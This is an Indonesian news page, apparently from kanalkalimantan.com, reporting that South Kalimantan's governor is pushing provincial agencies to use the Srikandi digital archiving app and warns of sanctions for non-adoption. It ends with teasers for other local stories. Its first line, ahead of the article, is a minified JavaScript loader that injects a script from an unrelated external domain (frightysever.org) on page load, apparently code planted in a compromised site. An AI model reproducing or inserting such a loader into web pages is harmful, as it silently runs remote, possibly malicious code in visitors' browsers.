(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Pakai Aplikasi Srikandi, Gubernur Kalsel Sebut Ada Sanksi Jika Tak Diterapkan


KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan dan sejumlah Kepala Satuan Kerja Perangkat Daerah (SKPD) Pemerintah Provinsi (Pemprov) Kalsel melakukan penandatanganan komitmen kearsipan, Senin (18/9/2023) pagi.

Selain penandatangan komitmen kearsipan, kegiatan bertempat di Jelita Hotel Banjarmasin itu juga sekaligus rapat koordinasi dan bimbingan teknis UPPD/UPTD untuk penerapan aplikasi Kearsipan Dinamis Terintegrasi (Srikandi).

Gubernur Kalsel H Sahbirin Noor mengatakan, aplikasi Srikandi merupakan bentuk upaya Pemprov Kalsel dalam pengembangan dan pemanfaatan teknologi informasi di era digital.

Baca juga: Dampak Kabut Asap Masyarakat Kalsel Diminta Pasang Masker

Menurutnya, adanya aplikasi Srikandi akan memudahkan setiap SKPD di lingkup Pemprov Kalsel dalam penyimpanan arsip. Sehingga Sahbirin mendorong seluruh SKPD dapat memanfaatkan aplikasi tersebut dengan baik.

“Pemprov Kalsel melalui Dispersip akan memberikan pengarahan dan apresiasi kepada SKPD yang menerapkan aplikasi Srikandi dengan baik, dan ada sanksi apabila tidak menerapkan aplikasi Srikandi,” ungkap Paman Birin -sebutan akrab Sahbirin Noor-.

Disamping itu, dengan dilaksanakannya rapat koordinasi serta bimbingan teknis penerapan aplikasi Srikandi diharapkan dapat meningkatkan komitmen seluruh SKPD dalam penerapan aplikasi Srikandi di lingkungan kerja masing-masing.

Baca juga: Tiga Bupati di Kalsel Masa Jabatan Berakhir, Ini Nama Pejabat Pengisi Posisi

“Kita berharap suatu saat kearsipan di Kalsel menjadi yang lebih baik lagi,” katanya.

Terpisah, Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel dra Nurliani Dardie mengungkapkan, penerapan aplikasi Srikandi akan memberikan kemudahan dalam penyimpanan arsip.

Penerapan aplikasi Srikandi juga dapat mempercepat kinerja pada instansi. Salah satunya pimpinan di suatu SKPD dimungkinkan untuk melakukan disposisi surat meski sedang tidak berada di kantor, sebab dapat dilakukan melalui aplikasi Srikandi.

Baca juga: Pembasahan Berulang di Area Ring 1 Karhutla Banjarbaru

“Aplikasi ini mempermudah kita sendiri, kita bisa bekerja cepat dan bisa bekerja dimana saja,” ucap Nurliani.

Disamping manfaatnya yang banyak, penerapan aplikasi Srikandi di lingkup SKPD juga dikatakan sebagai langkah untuk menuju digitalisasi dan meninggalkan metode lama.

“Tidak jaman lagi bongkar-bongkar surat, tinggal ketik saja kata kuncinya diaplikasi,” pungkas Kadispersip Kalsel. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.